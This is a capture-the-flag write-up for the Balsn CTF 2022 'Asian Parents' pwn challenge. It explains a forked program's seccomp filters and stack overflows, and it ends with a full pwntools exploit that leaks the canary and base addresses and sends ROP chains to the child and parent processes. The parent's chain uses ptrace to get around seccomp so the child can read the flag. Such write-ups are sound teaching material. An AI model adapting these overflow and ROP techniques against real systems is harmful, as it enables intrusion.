### Asian Parents
was a pwn challenge from Balsn Ctf 2022.
![title](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2022/pwn/Asian.Parents/pics/title.png)
so let's start directly analysing the main() loop where all the magic happens,
**Here is the C reversed code of function main():**
```cint __cdecl main(int argc, const char **argv, const char **envp){  char buf[2]; // [rsp+Eh] [rbp-92h] BYREF  char s[136]; // [rsp+10h] [rbp-90h] BYREF  unsigned __int64 canary; // [rsp+98h] [rbp-8h]
  canary = __readfsqword(0x28u);  memset(s, 0, 128);  init();  fwrite("==================================\n", 1uLL, 0x23uLL, stdout);  fwrite(" Welcome to FAILURE MANAGEMENT!!!\n", 1uLL, 0x22uLL, stdout);  fwrite("==================================\n", 1uLL, 0x23uLL, stdout);  assign_work(s);  print_work(s);  pipe(pipe2child);  pipe(pipe2parent);  child = fork();  if ( child == -1 )    byebye();  if ( child )  {    memset(s, 0, 0x80uLL);    seccomp_parent();    while ( !end )    {      menu();      read(0, buf, 2uLL);      if ( buf[0] == '3' )      {        write_and_sync(pipe2child_2_4054, "3", 1);        read(pipe2parent[0], buf, 2uLL);        fwrite("Very effective!\n", 1uLL, 0x10uLL, stdout);        end = 1;      }      else      {        if ( buf[0] > '3' )          goto LABEL_16;        if ( buf[0] == '2' )        {          print_notes(s);        }        else        {          if ( buf[0] > '2' )            goto LABEL_16;          if ( buf[0] == '1' )          {            take_notes(s);          }          else if ( buf[0] != 10 )          {            if ( buf[0] != '0' )            {LABEL_16:              write_and_sync(pipe2child_2_4054, "5", 1);              byebye();            }            write_and_sync(pipe2child_2_4054, "0", 1);            read(pipe2parent[0], buf, 2uLL);          }        }      }    }  }  else  {    seccomp_child();    while ( !end )    {      if ( (int)read(pipe2child[0], buf, 1uLL) > 0 )      {        if ( buf[0] == '0' )        {          assign_work(s);          print_work(s);          write_and_sync(pipe2parent_2_405C, "OK", 1);        }        else        {          if ( buf[0] != '3' )            exit(0);          fwrite("Your failure is panicking\n", 1uLL, 0x1AuLL, stdout);          write_and_sync(pipe2parent_2_405C, "OK", 1);          end = 1;        }      }    }  }  return 0;}```
**So what it is about?**
the program creates two processes, one parent and one child, and just before forking it creates two pipes for the processes to communicate.
Each process has a different seccomp applied.
**Here is the parent seccomp:**
![seccomp_parent](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2022/pwn/Asian.Parents/pics/seccomp_parent.png)
It allows `read`, `write`, `exit`, `wait4`, `kill`, `ptrace`, and `exit_group` syscalls.
**Here is the child seccomp:**
![seccomp_child](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2022/pwn/Asian.Parents/pics/seccomp_child.png)
It allows `read`, `write`, `exit`,`clock_nanosleep`, and `exit_group` syscalls.
using another syscall that these one, will return `TRACE`,
and what is this `TRACE` thing??? 
let's have a look at the seccomp manual:
![seccomp_doc](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2022/pwn/Asian.Parents/pics/seccomp_doc.png)
so a tracer needs to be present, or the syscall will fail miserably..
so the tracer will be the parent process, as the `ptrace` syscall is authorized by its seccomp, and it will trace the child process.
when the tracer intercept the syscall, it can alter its registers, forbid it, or just use `PTRACE(PTRACE_CONT,pid,0,0)` to continue execution, and execute the syscall.. that's what we will do.
**The program present a menu:**
![menu](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2022/pwn/Asian.Parents/pics/menu.png)
the option '1' --> "Takes notes on managing failure",  call the function `takes_notes()` which is a buffer overflow for parent, it will read up to 512 bytes in the char `s[136]` buffer on stack,  so we will use it to send a ROP to the parent process
the option '0' --> "Assign other work to your failure",  pass the option '0' to the child via the pipe, and the child will call the function `assign_notes()` which is also a buffer overflow for the child this time, it will read up to 512 bytes in the char `s[136]` buffer on stack,  so we will use it to send a ROP to the child process
the option '2' --> "Read notes on managing failure",  will print the `char s[136]` buffer to `stdout`, so we will use this with the buffer overflow to leak the various addresses on stack that we need for the ROP,  a libc address to calculate libc base address,  a program address to calculate the program base address, and stack address, and last but not least, we will leak the canary with it...
finally
the option '3' --> "Give your failure EMOTIONNAL DAMAGE"  will exit from the input loop, and return to our ROP
**So what is the exploitation plan ?**
+ well first we get our leaks with the Read Notes option...+ then we send the ROP to the child, it will begin by a `sleep(1)` to wait for the parent to setup, then it will open() / read() / write() flag file to stdout..+ then we send the ROP to the parent, it will first call `ptrace(PTRACE_SEIZE, child, NULL, PTRACE_O_TRACESECCOMP)`, to intercept TRACE seccomp events..then will call `wait()` to wait for child events,  then when an event is received it will call `ptrace(PTRACE_CONT, child, NULL, NULL)` to resume child execution and let it execute the syscall, after that we will loop the ROP (by modifying `rsp`), to the `wait()` call
so when the child will call `open()`, the parent will authorize it, and it will spit out the flag file to stdout..
where we will read it.. a bit like that:
![menu](https://github.com/nobodyisnobody/write-ups/raw/main/Balsn.CTF.2022/pwn/Asian.Parents/pics/gotshell.gif)
the remote docker use ubuntu 22.04
**and here is the commented(more or less)  exploit:**
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'error'
exe = ELF('./chall')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')	# libc from ubuntu 22.04
host, port = "asian-parents.balsnctf.com", "7777"
if args.REMOTE:  p = remote(host,port)else:  p = process(exe.path)
def corrupt_parent(p, payload):    p.sendlineafter('> ', '1')    p.sendafter('> ', payload)    p.sendlineafter('> ', '3')
def corrupt_child(p, payload):    p.sendlineafter('> ', '0')    p.sendafter('> ', payload)
# leak canaryp.sendafter('> ', 'A'*0x89)p.recvuntil('A'*0x89)canary = u64(b'\x00'+p.recv(7))print('canary = '+hex(canary))# leak libc retmain address to calculate libc basep.sendlineafter('> ', '1')p.sendafter('> ', 'A'*0x98)p.sendlineafter('> ', '2')p.recvuntil('A'*0x98, drop=True)libc.address = u64(p.recv(6)+b'\x00\x00') - 0x29d90print('libc base = '+hex(libc.address))# leak prog address to calculate prog basep.sendlineafter('> ', '1')p.sendafter('> ', 'A'*0xa8)p.sendlineafter('> ', '2')p.recvuntil('A'*0xa8, drop=True)exe.address = u64(p.recv(6)+b'\x00\x00') - 0x18efprint('prog base = '+hex(exe.address))# leak stack address, to know where our ROP isp.sendlineafter('> ', '1')p.sendafter('> ', 'A'*0xb8)p.sendlineafter('> ', '2')p.recvuntil('A'*0xb8, drop=True)rop_address = u64(p.recv(6)+b'\x00\x00') - 0x110print('rop stack address = '+hex(rop_address))
rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]pop_rcx = rop.find_gadget(['pop rcx', 'ret'])[0]pop_rdx_r12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]mov_rsp_rdx = libc.address + 0x000000000005a170 # mov rsp, rdx ; retxchg_eax_esi = libc.address + 0x000000000004dab6 # xchg eax, esi ; retxchg_eax_edi = libc.address + 0x000000000014a385 # xchg eax, edi ; retxchg_eax_edx = libc.address + 0x00000000000cea5a # xchg eax, edx ; retmov_rax_rdi = libc.address + 0x000000000008f4e4 # mov rax, qword ptr [rdi + 0x68] ; retmov_rdi_rax = libc.address + 0x000000000011d1ea # mov qword ptr [rdi], rax ; mov qword ptr [rdi + 8], rsi ; ret
# construct the child ROPc_rop = b'C'*0x88 + p64(canary) + p64(0)c_rop += p64(pop_rdi)# sleep the child to wait for parent using sleep()  (sleep will call nanosleep under the hood)c_rop += p64(1)c_rop += p64(libc.sym.sleep)
len_rop = 18*8 # distance of filename from beginning of rop# open()c_rop += p64(pop_rdi)c_rop += p64(rop_address+len_rop)c_rop += p64(pop_rsi)c_rop += p64(0)c_rop += p64(libc.sym.open)# read filec_rop += p64(xchg_eax_edi) # put open returned fd in edic_rop += p64(pop_rsi)+p64(exe.bss(0xa00))+p64(pop_rdx_r12)+p64(100)*2+p64(exe.sym.read)# write its content to stdout with puts()c_rop += p64(pop_rdi)+p64(exe.bss(0xa00))+p64(libc.sym.puts)if args.REMOTE:  c_rop += b'/home/asianparent/flag.txt\x00'else:  c_rop += b'flag.txt\x00'
corrupt_child(p, c_rop)
# parent payloadp_rop = b'A'*0x88+p64(canary)+p64(0xdeadbeef)# ptrace(PTRACE_SEIZE, child, NULL, PTRACE_O_TRACESECCOMP)p_rop += p64(pop_rdi)+p64(exe.sym['child']-0x68)+p64(mov_rax_rdi)  # read child pid from .bssp_rop += p64(xchg_eax_esi)    # esi = childp_rop += p64(pop_rdi)p_rop += p64(16902) # PTRACE_SEIZEp_rop += p64(pop_rdx_r12)p_rop += p64(0)*2p_rop += p64(pop_rcx)p_rop += p64(0x80)  # PTRACE_O_TRACESECCOMPp_rop += p64(libc.sym.ptrace)# waitp_rop += p64(pop_rdi) + p64(0x0) + p64(libc.sym.wait)# ptrace(PTRACE_CONT, child, NULL, NULL)p_rop += p64(xchg_eax_esi)    # esi = childp_rop += p64(pop_rdi)p_rop += p64(7) # PTRACE_CONTp_rop += p64(pop_rdx_r12)p_rop += p64(0)*2p_rop += p64(pop_rcx)p_rop += p64(0)p_rop += p64(libc.sym.ptrace)# loop to ROP --> waitp_rop += p64(pop_rdx_r12)+p64(rop_address+(12*8))+p64(0)+p64(mov_rsp_rdx)
corrupt_parent(p, p_rop)
p.interactive()```
**nobodyisnobody**, *still pwning things...*